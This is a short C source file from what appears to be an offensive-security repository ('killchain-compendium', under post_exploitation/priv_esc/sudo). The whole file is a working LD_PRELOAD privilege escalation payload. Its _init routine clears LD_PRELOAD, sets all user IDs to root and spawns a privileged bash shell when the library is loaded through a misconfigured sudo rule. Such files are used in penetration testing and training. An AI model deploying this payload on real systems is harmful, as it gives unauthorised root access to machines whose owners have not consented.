killchain-compendium/post_exploitation/priv_esc/sudo/preload.c

10 lines
149 B
C
Raw Normal View History

2021-08-23 01:13:54 +02:00
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}